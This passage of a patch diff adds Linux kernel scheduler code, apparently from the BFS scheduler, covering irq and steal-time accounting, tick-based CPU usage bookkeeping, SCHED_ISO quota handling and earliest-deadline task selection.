++	} while (read_seqcount_retry(&per_cpu(irq_time_seq, cpu), seq));
++
++	return irq_time;
++}
++#else /* CONFIG_64BIT */
++static inline void irq_time_write_begin(void)
++{
++}
++
++static inline void irq_time_write_end(void)
++{
++}
++
++static inline u64 irq_time_read(int cpu)
++{
++	return per_cpu(cpu_softirq_time, cpu) + per_cpu(cpu_hardirq_time, cpu);
++}
++#endif /* CONFIG_64BIT */
++
++/*
++ * Called before incrementing preempt_count on {soft,}irq_enter
++ * and before decrementing preempt_count on {soft,}irq_exit.
++ */
++void irqtime_account_irq(struct task_struct *curr)
++{
++	unsigned long flags;
++	s64 delta;
++	int cpu;
++
++	if (!sched_clock_irqtime)
++		return;
++
++	local_irq_save(flags);
++
++	cpu = smp_processor_id();
++	delta = sched_clock_cpu(cpu) - __this_cpu_read(irq_start_time);
++	__this_cpu_add(irq_start_time, delta);
++
++	irq_time_write_begin();
++	/*
++	 * We do not account for softirq time from ksoftirqd here.
++	 * We want to continue accounting softirq time to ksoftirqd thread
++	 * in that case, so as not to confuse scheduler with a special task
++	 * that do not consume any time, but still wants to run.
++	 */
++	if (hardirq_count())
++		__this_cpu_add(cpu_hardirq_time, delta);
++	else if (in_serving_softirq() && curr != this_cpu_ksoftirqd())
++		__this_cpu_add(cpu_softirq_time, delta);
++
++	irq_time_write_end();
++	local_irq_restore(flags);
++}
++EXPORT_SYMBOL_GPL(irqtime_account_irq);
++
++#endif /* CONFIG_IRQ_TIME_ACCOUNTING */
++
++#ifdef CONFIG_PARAVIRT
++static inline u64 steal_ticks(u64 steal)
++{
++	if (unlikely(steal > NSEC_PER_SEC))
++		return div_u64(steal, TICK_NSEC);
++
++	return __iter_div_u64_rem(steal, TICK_NSEC, &steal);
++}
++#endif
++
++static void update_rq_clock_task(struct rq *rq, s64 delta)
++{
++/*
++ * In theory, the compile should just see 0 here, and optimize out the call
++ * to sched_rt_avg_update. But I don't trust it...
++ */
++#ifdef CONFIG_IRQ_TIME_ACCOUNTING
++	s64 irq_delta = irq_time_read(cpu_of(rq)) - rq->prev_irq_time;
++
++	/*
++	 * Since irq_time is only updated on {soft,}irq_exit, we might run into
++	 * this case when a previous update_rq_clock() happened inside a
++	 * {soft,}irq region.
++	 *
++	 * When this happens, we stop ->clock_task and only update the
++	 * prev_irq_time stamp to account for the part that fit, so that a next
++	 * update will consume the rest. This ensures ->clock_task is
++	 * monotonic.
++	 *
++	 * It does however cause some slight miss-attribution of {soft,}irq
++	 * time, a more accurate solution would be to update the irq_time using
++	 * the current rq->clock timestamp, except that would require using
++	 * atomic ops.
++	 */
++	if (irq_delta > delta)
++		irq_delta = delta;
++
++	rq->prev_irq_time += irq_delta;
++	delta -= irq_delta;
++#endif
++#ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING
++	if (static_key_false((&paravirt_steal_rq_enabled))) {
++		s64 steal = paravirt_steal_clock(cpu_of(rq));
++		u64 st;
++
++		steal -= rq->prev_steal_time_rq;
++
++		if (unlikely(steal > delta))
++			steal = delta;
++
++		st = steal_ticks(steal);
++		steal = st * TICK_NSEC;
++
++		rq->prev_steal_time_rq += steal;
++
++		delta -= steal;
++	}
++#endif
++
++	rq->clock_task += delta;
++}
++
++#ifndef nsecs_to_cputime
++# define nsecs_to_cputime(__nsecs)	nsecs_to_jiffies(__nsecs)
++#endif
++
++#ifdef CONFIG_IRQ_TIME_ACCOUNTING
++static void irqtime_account_hi_si(void)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++	u64 latest_ns;
++
++	latest_ns = nsecs_to_cputime64(this_cpu_read(cpu_hardirq_time));
++	if (latest_ns > cpustat[CPUTIME_IRQ])
++		cpustat[CPUTIME_IRQ] += (__force u64)cputime_one_jiffy;
++
++	latest_ns = nsecs_to_cputime64(this_cpu_read(cpu_softirq_time));
++	if (latest_ns > cpustat[CPUTIME_SOFTIRQ])
++		cpustat[CPUTIME_SOFTIRQ] += (__force u64)cputime_one_jiffy;
++}
++#else /* CONFIG_IRQ_TIME_ACCOUNTING */
++
++#define sched_clock_irqtime	(0)
++
++static inline void irqtime_account_hi_si(void)
++{
++}
++#endif /* CONFIG_IRQ_TIME_ACCOUNTING */
++
++static __always_inline bool steal_account_process_tick(void)
++{
++#ifdef CONFIG_PARAVIRT
++	if (static_key_false(&paravirt_steal_enabled)) {
++		u64 steal, st = 0;
++
++		steal = paravirt_steal_clock(smp_processor_id());
++		steal -= this_rq()->prev_steal_time;
++
++		st = steal_ticks(steal);
++		this_rq()->prev_steal_time += st * TICK_NSEC;
++
++		account_steal_time(st);
++		return st;
++	}
++#endif
++	return false;
++}
++
++/*
++ * Accumulate raw cputime values of dead tasks (sig->[us]time) and live
++ * tasks (sum on group iteration) belonging to @tsk's group.
++ */
++void thread_group_cputime(struct task_struct *tsk, struct task_cputime *times)
++{
++	struct signal_struct *sig = tsk->signal;
++	cputime_t utime, stime;
++	struct task_struct *t;
++
++	times->utime = sig->utime;
++	times->stime = sig->stime;
++	times->sum_exec_runtime = sig->sum_sched_runtime;
++
++	rcu_read_lock();
++	/* make sure we can trust tsk->thread_group list */
++	if (!likely(pid_alive(tsk)))
++		goto out;
++
++	t = tsk;
++	do {
++		task_cputime(t, &utime, &stime);
++		times->utime += utime;
++		times->stime += stime;
++		times->sum_exec_runtime += task_sched_runtime(t);
++	} while_each_thread(tsk, t);
++out:
++	rcu_read_unlock();
++}
++
++/*
++ * On each tick, see what percentage of that tick was attributed to each
++ * component and add the percentage to the _pc values. Once a _pc value has
++ * accumulated one tick's worth, account for that. This means the total
++ * percentage of load components will always be 128 (pseudo 100) per tick.
++ */
++static void pc_idle_time(struct rq *rq, struct task_struct *idle, unsigned long pc)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++
++	if (atomic_read(&rq->nr_iowait) > 0) {
++		rq->iowait_pc += pc;
++		if (rq->iowait_pc >= 128) {
++			cpustat[CPUTIME_IOWAIT] += (__force u64)cputime_one_jiffy * rq->iowait_pc / 128;
++			rq->iowait_pc %= 128;
++		}
++	} else {
++		rq->idle_pc += pc;
++		if (rq->idle_pc >= 128) {
++			cpustat[CPUTIME_IDLE] += (__force u64)cputime_one_jiffy * rq->idle_pc / 128;
++			rq->idle_pc %= 128;
++		}
++	}
++	acct_update_integrals(idle);
++}
++
++static void
++pc_system_time(struct rq *rq, struct task_struct *p, int hardirq_offset,
++	       unsigned long pc, unsigned long ns)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++	cputime_t one_jiffy_scaled = cputime_to_scaled(cputime_one_jiffy);
++
++	p->stime_pc += pc;
++	if (p->stime_pc >= 128) {
++		int jiffs = p->stime_pc / 128;
++
++		p->stime_pc %= 128;
++		p->stime += (__force u64)cputime_one_jiffy * jiffs;
++		p->stimescaled += one_jiffy_scaled * jiffs;
++		account_group_system_time(p, cputime_one_jiffy * jiffs);
++	}
++	p->sched_time += ns;
++	/*
++	 * Do not update the cputimer if the task is already released by
++	 * release_task().
++	 *
++	 * This could be executed if a tick happens when a task is inside
++	 * do_exit() between the call to release_task() and its final
++	 * schedule() call for autoreaping tasks.
++	 */
++	if (likely(p->sighand))
++		account_group_exec_runtime(p, ns);
++
++	if (hardirq_count() - hardirq_offset) {
++		rq->irq_pc += pc;
++		if (rq->irq_pc >= 128) {
++			cpustat[CPUTIME_IRQ] += (__force u64)cputime_one_jiffy * rq->irq_pc / 128;
++			rq->irq_pc %= 128;
++		}
++	} else if (in_serving_softirq()) {
++		rq->softirq_pc += pc;
++		if (rq->softirq_pc >= 128) {
++			cpustat[CPUTIME_SOFTIRQ] += (__force u64)cputime_one_jiffy * rq->softirq_pc / 128;
++			rq->softirq_pc %= 128;
++		}
++	} else {
++		rq->system_pc += pc;
++		if (rq->system_pc >= 128) {
++			cpustat[CPUTIME_SYSTEM] += (__force u64)cputime_one_jiffy * rq->system_pc / 128;
++			rq->system_pc %= 128;
++		}
++	}
++	acct_update_integrals(p);
++}
++
++static void pc_user_time(struct rq *rq, struct task_struct *p,
++			 unsigned long pc, unsigned long ns)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++	cputime_t one_jiffy_scaled = cputime_to_scaled(cputime_one_jiffy);
++
++	p->utime_pc += pc;
++	if (p->utime_pc >= 128) {
++		int jiffs = p->utime_pc / 128;
++
++		p->utime_pc %= 128;
++		p->utime += (__force u64)cputime_one_jiffy * jiffs;
++		p->utimescaled += one_jiffy_scaled * jiffs;
++		account_group_user_time(p, cputime_one_jiffy * jiffs);
++	}
++	p->sched_time += ns;
++	/*
++	 * Do not update the cputimer if the task is already released by
++	 * release_task().
++	 *
++	 * it would preferable to defer the autoreap release_task
++	 * after the last context switch but harder to do.
++	 */
++	if (likely(p->sighand))
++		account_group_exec_runtime(p, ns);
++
++	if (this_cpu_ksoftirqd() == p) {
++		/*
++		 * ksoftirqd time do not get accounted in cpu_softirq_time.
++		 * So, we have to handle it separately here.
++		 */
++		rq->softirq_pc += pc;
++		if (rq->softirq_pc >= 128) {
++			cpustat[CPUTIME_SOFTIRQ] += (__force u64)cputime_one_jiffy * rq->softirq_pc / 128;
++			rq->softirq_pc %= 128;
++		}
++	}
++
++	if (TASK_NICE(p) > 0 || idleprio_task(p)) {
++		rq->nice_pc += pc;
++		if (rq->nice_pc >= 128) {
++			cpustat[CPUTIME_NICE] += (__force u64)cputime_one_jiffy * rq->nice_pc / 128;
++			rq->nice_pc %= 128;
++		}
++	} else {
++		rq->user_pc += pc;
++		if (rq->user_pc >= 128) {
++			cpustat[CPUTIME_USER] += (__force u64)cputime_one_jiffy * rq->user_pc / 128;
++			rq->user_pc %= 128;
++		}
++	}
++	acct_update_integrals(p);
++}
++
++/*
++ * Convert nanoseconds to pseudo percentage of one tick. Use 128 for fast
++ * shifts instead of 100
++ */
++#define NS_TO_PC(NS)	(NS * 128 / JIFFY_NS)
++
++/*
++ * This is called on clock ticks.
++ * Bank in p->sched_time the ns elapsed since the last tick or switch.
++ * CPU scheduler quota accounting is also performed here in microseconds.
++ */
++static void
++update_cpu_clock_tick(struct rq *rq, struct task_struct *p)
++{
++	long account_ns = rq->clock_task - rq->rq_last_ran;
++	struct task_struct *idle = rq->idle;
++	unsigned long account_pc;
++
++	if (unlikely(account_ns < 0) || steal_account_process_tick())
++		goto ts_account;
++
++	account_pc = NS_TO_PC(account_ns);
++
++	/* Accurate tick timekeeping */
++	if (user_mode(get_irq_regs()))
++		pc_user_time(rq, p, account_pc, account_ns);
++	else if (p != idle || (irq_count() != HARDIRQ_OFFSET))
++		pc_system_time(rq, p, HARDIRQ_OFFSET,
++			       account_pc, account_ns);
++	else
++		pc_idle_time(rq, idle, account_pc);
++
++	if (sched_clock_irqtime)
++		irqtime_account_hi_si();
++
++ts_account:
++	/* time_slice accounting is done in usecs to avoid overflow on 32bit */
++	if (rq->rq_policy != SCHED_FIFO && p != idle) {
++		s64 time_diff = rq->clock - rq->timekeep_clock;
++
++		niffy_diff(&time_diff, 1);
++		rq->rq_time_slice -= NS_TO_US(time_diff);
++	}
++
++	rq->rq_last_ran = rq->clock_task;
++	rq->timekeep_clock = rq->clock;
++}
++
++/*
++ * This is called on context switches.
++ * Bank in p->sched_time the ns elapsed since the last tick or switch.
++ * CPU scheduler quota accounting is also performed here in microseconds.
++ */
++static void
++update_cpu_clock_switch(struct rq *rq, struct task_struct *p)
++{
++	long account_ns = rq->clock_task - rq->rq_last_ran;
++	struct task_struct *idle = rq->idle;
++	unsigned long account_pc;
++
++	if (unlikely(account_ns < 0))
++		goto ts_account;
++
++	account_pc = NS_TO_PC(account_ns);
++
++	/* Accurate subtick timekeeping */
++	if (p != idle) {
++		pc_user_time(rq, p, account_pc, account_ns);
++	}
++	else
++		pc_idle_time(rq, idle, account_pc);
++
++ts_account:
++	/* time_slice accounting is done in usecs to avoid overflow on 32bit */
++	if (rq->rq_policy != SCHED_FIFO && p != idle) {
++		s64 time_diff = rq->clock - rq->timekeep_clock;
++
++		niffy_diff(&time_diff, 1);
++		rq->rq_time_slice -= NS_TO_US(time_diff);
++	}
++
++	rq->rq_last_ran = rq->clock_task;
++	rq->timekeep_clock = rq->clock;
++}
++
++/*
++ * Return any ns on the sched_clock that have not yet been accounted in
++ * @p in case that task is currently running.
++ *
++ * Called with task_grq_lock() held.
++ */
++static u64 do_task_delta_exec(struct task_struct *p, struct rq *rq)
++{
++	u64 ns = 0;
++
++	if (p == rq->curr) {
++		update_clocks(rq);
++		ns = rq->clock_task - rq->rq_last_ran;
++		if (unlikely((s64)ns < 0))
++			ns = 0;
++	}
++
++	return ns;
++}
++
++unsigned long long task_delta_exec(struct task_struct *p)
++{
++	unsigned long flags;
++	struct rq *rq;
++	u64 ns;
++
++	rq = task_grq_lock(p, &flags);
++	ns = do_task_delta_exec(p, rq);
++	task_grq_unlock(&flags);
++
++	return ns;
++}
++
++/*
++ * Return accounted runtime for the task.
++ * Return separately the current's pending runtime that have not been
++ * accounted yet.
++ *
++ * grq lock already acquired.
++ */
++unsigned long long task_sched_runtime(struct task_struct *p)
++{
++	unsigned long flags;
++	struct rq *rq;
++	u64 ns;
++
++	rq = task_grq_lock(p, &flags);
++	ns = p->sched_time + do_task_delta_exec(p, rq);
++	task_grq_unlock(&flags);
++
++	return ns;
++}
++
++/*
++ * Return accounted runtime for the task.
++ * Return separately the current's pending runtime that have not been
++ * accounted yet.
++ */
++unsigned long long task_sched_runtime_nodelta(struct task_struct *p, unsigned long long *delta)
++{
++	unsigned long flags;
++	struct rq *rq;
++	u64 ns;
++
++	rq = task_grq_lock(p, &flags);
++	ns = p->sched_time;
++	*delta = do_task_delta_exec(p, rq);
++	task_grq_unlock(&flags);
++
++	return ns;
++}
++
++/* Compatibility crap */
++void account_user_time(struct task_struct *p, cputime_t cputime,
++		       cputime_t cputime_scaled)
++{
++}
++
++void account_idle_time(cputime_t cputime)
++{
++}
++
++void update_cpu_load_nohz(void)
++{
++}
++
++#ifdef CONFIG_NO_HZ_COMMON
++void calc_load_enter_idle(void)
++{
++}
++
++void calc_load_exit_idle(void)
++{
++}
++#endif /* CONFIG_NO_HZ_COMMON */
++
++/*
++ * Account guest cpu time to a process.
++ * @p: the process that the cpu time gets accounted to
++ * @cputime: the cpu time spent in virtual machine since the last update
++ * @cputime_scaled: cputime scaled by cpu frequency
++ */
++static void account_guest_time(struct task_struct *p, cputime_t cputime,
++			       cputime_t cputime_scaled)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++
++	/* Add guest time to process. */
++	p->utime += (__force u64)cputime;
++	p->utimescaled += (__force u64)cputime_scaled;
++	account_group_user_time(p, cputime);
++	p->gtime += (__force u64)cputime;
++
++	/* Add guest time to cpustat. */
++	if (TASK_NICE(p) > 0) {
++		cpustat[CPUTIME_NICE] += (__force u64)cputime;
++		cpustat[CPUTIME_GUEST_NICE] += (__force u64)cputime;
++	} else {
++		cpustat[CPUTIME_USER] += (__force u64)cputime;
++		cpustat[CPUTIME_GUEST] += (__force u64)cputime;
++	}
++}
++
++/*
++ * Account system cpu time to a process and desired cpustat field
++ * @p: the process that the cpu time gets accounted to
++ * @cputime: the cpu time spent in kernel space since the last update
++ * @cputime_scaled: cputime scaled by cpu frequency
++ * @target_cputime64: pointer to cpustat field that has to be updated
++ */
++static inline
++void __account_system_time(struct task_struct *p, cputime_t cputime,
++			cputime_t cputime_scaled, cputime64_t *target_cputime64)
++{
++	/* Add system time to process. */
++	p->stime += (__force u64)cputime;
++	p->stimescaled += (__force u64)cputime_scaled;
++	account_group_system_time(p, cputime);
++
++	/* Add system time to cpustat. */
++	*target_cputime64 += (__force u64)cputime;
++
++	/* Account for system time used */
++	acct_update_integrals(p);
++}
++
++/*
++ * Account system cpu time to a process.
++ * @p: the process that the cpu time gets accounted to
++ * @hardirq_offset: the offset to subtract from hardirq_count()
++ * @cputime: the cpu time spent in kernel space since the last update
++ * @cputime_scaled: cputime scaled by cpu frequency
++ * This is for guest only now.
++ */
++void account_system_time(struct task_struct *p, int hardirq_offset,
++			 cputime_t cputime, cputime_t cputime_scaled)
++{
++
++	if ((p->flags & PF_VCPU) && (irq_count() - hardirq_offset == 0))
++		account_guest_time(p, cputime, cputime_scaled);
++}
++
++/*
++ * Account for involuntary wait time.
++ * @steal: the cpu time spent in involuntary wait
++ */
++void account_steal_time(cputime_t cputime)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++
++	cpustat[CPUTIME_STEAL] += (__force u64)cputime;
++}
++
++/*
++ * Account for idle time.
++ * @cputime: the cpu time spent in idle wait
++ */
++static void account_idle_times(cputime_t cputime)
++{
++	u64 *cpustat = kcpustat_this_cpu->cpustat;
++	struct rq *rq = this_rq();
++
++	if (atomic_read(&rq->nr_iowait) > 0)
++		cpustat[CPUTIME_IOWAIT] += (__force u64)cputime;
++	else
++		cpustat[CPUTIME_IDLE] += (__force u64)cputime;
++}
++
++#ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
++
++void account_process_tick(struct task_struct *p, int user_tick)
++{
++}
++
++/*
++ * Account multiple ticks of steal time.
++ * @p: the process from which the cpu time has been stolen
++ * @ticks: number of stolen ticks
++ */
++void account_steal_ticks(unsigned long ticks)
++{
++	account_steal_time(jiffies_to_cputime(ticks));
++}
++
++/*
++ * Account multiple ticks of idle time.
++ * @ticks: number of stolen ticks
++ */
++void account_idle_ticks(unsigned long ticks)
++{
++	account_idle_times(jiffies_to_cputime(ticks));
++}
++#endif
++
++static inline void grq_iso_lock(void)
++	__acquires(grq.iso_lock)
++{
++	raw_spin_lock(&grq.iso_lock);
++}
++
++static inline void grq_iso_unlock(void)
++	__releases(grq.iso_lock)
++{
++	raw_spin_unlock(&grq.iso_lock);
++}
++
++/*
++ * Functions to test for when SCHED_ISO tasks have used their allocated
++ * quota as real time scheduling and convert them back to SCHED_NORMAL.
++ * Where possible, the data is tested lockless, to avoid grabbing iso_lock
++ * because the occasional inaccurate result won't matter. However the
++ * tick data is only ever modified under lock. iso_refractory is only simply
++ * set to 0 or 1 so it's not worth grabbing the lock yet again for that.
++ */
++static bool set_iso_refractory(void)
++{
++	grq.iso_refractory = true;
++	return grq.iso_refractory;
++}
++
++static bool clear_iso_refractory(void)
++{
++	grq.iso_refractory = false;
++	return grq.iso_refractory;
++}
++
++/*
++ * Test if SCHED_ISO tasks have run longer than their alloted period as RT
++ * tasks and set the refractory flag if necessary. There is 10% hysteresis
++ * for unsetting the flag. 115/128 is ~90/100 as a fast shift instead of a
++ * slow division.
++ */
++static bool test_ret_isorefractory(struct rq *rq)
++{
++	if (likely(!grq.iso_refractory)) {
++		if (grq.iso_ticks > ISO_PERIOD * sched_iso_cpu)
++			return set_iso_refractory();
++	} else {
++		if (grq.iso_ticks < ISO_PERIOD * (sched_iso_cpu * 115 / 128))
++			return clear_iso_refractory();
++	}
++	return grq.iso_refractory;
++}
++
++static void iso_tick(void)
++{
++	grq_iso_lock();
++	grq.iso_ticks += 100;
++	grq_iso_unlock();
++}
++
++/* No SCHED_ISO task was running so decrease rq->iso_ticks */
++static inline void no_iso_tick(void)
++{
++	if (grq.iso_ticks) {
++		grq_iso_lock();
++		grq.iso_ticks -= grq.iso_ticks / ISO_PERIOD + 1;
++		if (unlikely(grq.iso_refractory && grq.iso_ticks <
++		    ISO_PERIOD * (sched_iso_cpu * 115 / 128)))
++			clear_iso_refractory();
++		grq_iso_unlock();
++	}
++}
++
++/* This manages tasks that have run out of timeslice during a scheduler_tick */
++static void task_running_tick(struct rq *rq)
++{
++	struct task_struct *p;
++
++	/*
++	 * If a SCHED_ISO task is running we increment the iso_ticks. In
++	 * order to prevent SCHED_ISO tasks from causing starvation in the
++	 * presence of true RT tasks we account those as iso_ticks as well.
++	 */
++	if ((rt_queue(rq) || (iso_queue(rq) && !grq.iso_refractory))) {
++		if (grq.iso_ticks <= (ISO_PERIOD * 128) - 128)
++			iso_tick();
++	} else
++		no_iso_tick();
++
++	if (iso_queue(rq)) {
++		if (unlikely(test_ret_isorefractory(rq))) {
++			if (rq_running_iso(rq)) {
++				/*
++				 * SCHED_ISO task is running as RT and limit
++				 * has been hit. Force it to reschedule as
++				 * SCHED_NORMAL by zeroing its time_slice
++				 */
++				rq->rq_time_slice = 0;
++			}
++		}
++	}
++
++	/* SCHED_FIFO tasks never run out of timeslice. */
++	if (rq->rq_policy == SCHED_FIFO)
++		return;
++	/*
++	 * Tasks that were scheduled in the first half of a tick are not
++	 * allowed to run into the 2nd half of the next tick if they will
++	 * run out of time slice in the interim. Otherwise, if they have
++	 * less than RESCHED_US μs of time slice left they will be rescheduled.
++	 */
++	if (rq->dither) {
++		if (rq->rq_time_slice > HALF_JIFFY_US)
++			return;
++		else
++			rq->rq_time_slice = 0;
++	} else if (rq->rq_time_slice >= RESCHED_US)
++			return;
++
++	/* p->time_slice < RESCHED_US. We only modify task_struct under grq lock */
++	p = rq->curr;
++	grq_lock();
++	requeue_task(p);
++	set_tsk_need_resched(p);
++	grq_unlock();
++}
++
++/*
++ * This function gets called by the timer code, with HZ frequency.
++ * We call it with interrupts disabled. The data modified is all
++ * local to struct rq so we don't need to grab grq lock.
++ */
++void scheduler_tick(void)
++{
++	int cpu __maybe_unused = smp_processor_id();
++	struct rq *rq = cpu_rq(cpu);
++
++	sched_clock_tick();
++	/* grq lock not grabbed, so only update rq clock */
++	update_rq_clock(rq);
++	update_cpu_clock_tick(rq, rq->curr);
++	if (!rq_idle(rq))
++		task_running_tick(rq);
++	else
++		no_iso_tick();
++	rq->last_tick = rq->clock;
++	perf_event_task_tick();
++}
++
++notrace unsigned long get_parent_ip(unsigned long addr)
++{
++	if (in_lock_functions(addr)) {
++		addr = CALLER_ADDR2;
++		if (in_lock_functions(addr))
++			addr = CALLER_ADDR3;
++	}
++	return addr;
++}
++
++#if defined(CONFIG_PREEMPT) && (defined(CONFIG_DEBUG_PREEMPT) || \
++				defined(CONFIG_PREEMPT_TRACER))
++void __kprobes add_preempt_count(int val)
++{
++#ifdef CONFIG_DEBUG_PREEMPT
++	/*
++	 * Underflow?
++	 */
++	if (DEBUG_LOCKS_WARN_ON((preempt_count() < 0)))
++		return;
++#endif
++	preempt_count() += val;
++#ifdef CONFIG_DEBUG_PREEMPT
++	/*
++	 * Spinlock count overflowing soon?
++	 */
++	DEBUG_LOCKS_WARN_ON((preempt_count() & PREEMPT_MASK) >=
++				PREEMPT_MASK - 10);
++#endif
++	if (preempt_count() == val)
++		trace_preempt_off(CALLER_ADDR0, get_parent_ip(CALLER_ADDR1));
++}
++EXPORT_SYMBOL(add_preempt_count);
++
++void __kprobes sub_preempt_count(int val)
++{
++#ifdef CONFIG_DEBUG_PREEMPT
++	/*
++	 * Underflow?
++	 */
++	if (DEBUG_LOCKS_WARN_ON(val > preempt_count()))
++		return;
++	/*
++	 * Is the spinlock portion underflowing?
++	 */
++	if (DEBUG_LOCKS_WARN_ON((val < PREEMPT_MASK) &&
++			!(preempt_count() & PREEMPT_MASK)))
++		return;
++#endif
++
++	if (preempt_count() == val)
++		trace_preempt_on(CALLER_ADDR0, get_parent_ip(CALLER_ADDR1));
++	preempt_count() -= val;
++}
++EXPORT_SYMBOL(sub_preempt_count);
++#endif
++
++/*
++ * Deadline is "now" in niffies + (offset by priority). Setting the deadline
++ * is the key to everything. It distributes cpu fairly amongst tasks of the
++ * same nice value, it proportions cpu according to nice level, it means the
++ * task that last woke up the longest ago has the earliest deadline, thus
++ * ensuring that interactive tasks get low latency on wake up. The CPU
++ * proportion works out to the square of the virtual deadline difference, so
++ * this equation will give nice 19 3% CPU compared to nice 0.
++ */
++static inline u64 prio_deadline_diff(int user_prio)
++{
++	return (prio_ratios[user_prio] * rr_interval * (MS_TO_NS(1) / 128));
++}
++
++static inline u64 task_deadline_diff(struct task_struct *p)
++{
++	return prio_deadline_diff(TASK_USER_PRIO(p));
++}
++
++static inline u64 static_deadline_diff(int static_prio)
++{
++	return prio_deadline_diff(USER_PRIO(static_prio));
++}
++
++static inline int longest_deadline_diff(void)
++{
++	return prio_deadline_diff(39);
++}
++
++static inline int ms_longest_deadline_diff(void)
++{
++	return NS_TO_MS(longest_deadline_diff());
++}
++
++/*
++ * The time_slice is only refilled when it is empty and that is when we set a
++ * new deadline.
++ */
++static void time_slice_expired(struct task_struct *p)
++{
++	p->time_slice = timeslice();
++	p->deadline = grq.niffies + task_deadline_diff(p);
++}
++
++/*
++ * Timeslices below RESCHED_US are considered as good as expired as there's no
++ * point rescheduling when there's so little time left. SCHED_BATCH tasks
++ * have been flagged be not latency sensitive and likely to be fully CPU
++ * bound so every time they're rescheduled they have their time_slice
++ * refilled, but get a new later deadline to have little effect on
++ * SCHED_NORMAL tasks.
++
++ */
++static inline void check_deadline(struct task_struct *p)
++{
++	if (p->time_slice < RESCHED_US || batch_task(p))
++		time_slice_expired(p);
++}
++
++#define BITOP_WORD(nr)		((nr) / BITS_PER_LONG)
++
++/*
++ * Scheduler queue bitmap specific find next bit.
++ */
++static inline unsigned long
++next_sched_bit(const unsigned long *addr, unsigned long offset)
++{
++	const unsigned long *p;
++	unsigned long result;
++	unsigned long size;
++	unsigned long tmp;
++
++	size = PRIO_LIMIT;
++	if (offset >= size)
++		return size;
++
++	p = addr + BITOP_WORD(offset);
++	result = offset & ~(BITS_PER_LONG-1);
++	size -= result;
++	offset %= BITS_PER_LONG;
++	if (offset) {
++		tmp = *(p++);
++		tmp &= (~0UL << offset);
++		if (size < BITS_PER_LONG)
++			goto found_first;
++		if (tmp)
++			goto found_middle;
++		size -= BITS_PER_LONG;
++		result += BITS_PER_LONG;
++	}
++	while (size & ~(BITS_PER_LONG-1)) {
++		if ((tmp = *(p++)))
++			goto found_middle;
++		result += BITS_PER_LONG;
++		size -= BITS_PER_LONG;
++	}
++	if (!size)
++		return result;
++	tmp = *p;
++
++found_first:
++	tmp &= (~0UL >> (BITS_PER_LONG - size));
++	if (tmp == 0UL)		/* Are any bits set? */
++		return result + size;	/* Nope. */
++found_middle:
++	return result + __ffs(tmp);
++}
++
++/*
++ * O(n) lookup of all tasks in the global runqueue. The real brainfuck
++ * of lock contention and O(n). It's not really O(n) as only the queued,
++ * but not running tasks are scanned, and is O(n) queued in the worst case
++ * scenario only because the right task can be found before scanning all of
++ * them.
++ * Tasks are selected in this order:
++ * Real time tasks are selected purely by their static priority and in the
++ * order they were queued, so the lowest value idx, and the first queued task
++ * of that priority value is chosen.
++ * If no real time tasks are found, the SCHED_ISO priority is checked, and
++ * all SCHED_ISO tasks have the same priority value, so they're selected by
++ * the earliest deadline value.
++ * If no SCHED_ISO tasks are found, SCHED_NORMAL tasks are selected by the
++ * earliest deadline.
++ * Finally if no SCHED_NORMAL tasks are found, SCHED_IDLEPRIO tasks are
++ * selected by the earliest deadline.
++ */
++static inline struct
++task_struct *earliest_deadline_task(struct rq *rq, int cpu, struct task_struct *idle)
++{
++	struct task_struct *edt = NULL;
++	unsigned long idx = -1;
++
++	do {
++		struct list_head *queue;
++		struct task_struct *p;
++		u64 earliest_deadline;
++
++		idx = next_sched_bit(grq.prio_bitmap, ++idx);
++		if (idx >= PRIO_LIMIT)
++			return idle;
++		queue = grq.queue + idx;
++
++		if (idx < MAX_RT_PRIO) {
++			/* We found an rt task */
++			list_for_each_entry(p, queue, run_list) {
++				/* Make sure cpu affinity is ok */
++				if (needs_other_cpu(p, cpu))
++					continue;
++				edt = p;
++				goto out_take;
++			}
++			/*
++			 * None of the RT tasks at this priority can run on
++			 * this cpu
++			 */
++			continue;
++		}
++
++		/*
++		 * No rt tasks. Find the earliest deadline task. Now we're in
++		 * O(n) territory.
++		 */
++		earliest_deadline = ~0ULL;
++		list_for_each_entry(p, queue, run_list) {
++			u64 dl;
++
++			/* Make sure cpu affinity is ok */
++			if (needs_other_cpu(p, cpu))
++				continue;
++
++			/*
++			 * Soft affinity happens here by not scheduling a task
++			 * with its sticky flag set that ran on a different CPU
++			 * last when the CPU is scaling, or by greatly biasing
++			 * against its deadline when not, based on cpu cache
++			 * locality.
++			 */
++			if (task_sticky(p) && task_rq(p) != rq) {
++				if (scaling_rq(rq))
++					continue;
++				dl = p->deadline << locality_diff(p, rq);
++			} else
++				dl = p->deadline;
++
++			if (deadline_before(dl, earliest_deadline)) {
++				earliest_deadline = dl;
++				edt = p;
++			}
++		}
++	} while (!edt);
++
++out_take:
++	take_task(cpu, edt);
++	return edt;
++}
++
++
++/*
++ * Print scheduling while atomic bug:
++ */
++static noinline void __schedule_bug(struct task_struct *prev)
++{
++	if (oops_in_progress)
++		return;
++
++	printk(KERN_ERR "BUG: scheduling while atomic: %s/%d/0x%08x\n",
++		prev->comm, prev->pid, preempt_count());
++
++	debug_show_held_locks(prev);
++	print_modules();
++	if (irqs_disabled())
++		print_irqtrace_events(prev);
++	dump_stack();
++	add_taint(TAINT_WARN, LOCKDEP_STILL_OK);
++}
++
++/*
++ * Various schedule()-time debugging checks and statistics:
++ */
++static inline void schedule_debug(struct task_struct *prev)
++{
++	/*
++	 * Test if we are atomic. Since do_exit() needs to call into
++	 * schedule() atomically, we ignore that path for now.
++	 * Otherwise, whine if we are scheduling when we should not be.
++	 */
++	if (unlikely(in_atomic_preempt_off() && !prev->exit_state))
++		__schedule_bug(prev);
++	rcu_sleep_check();
++
++	profile_hit(SCHED_PROFILING, __builtin_return_address(0));
++
++	schedstat_inc(this_rq(), sched_count);
++}
++
++/*
++ * The currently running task's information is all stored in rq local data
++ * which is only modified by the local CPU, thereby allowing the data to be
++ * changed without grabbing the grq lock.
++ */
++static inline void set_rq_task(struct rq *rq, struct task_struct *p)
++{
++	rq->rq_time_slice = p->time_slice;
++	rq->rq_deadline = p->deadline;
++	rq->rq_last_ran = p->last_ran = rq->clock_task;
++	rq->rq_policy = p->policy;
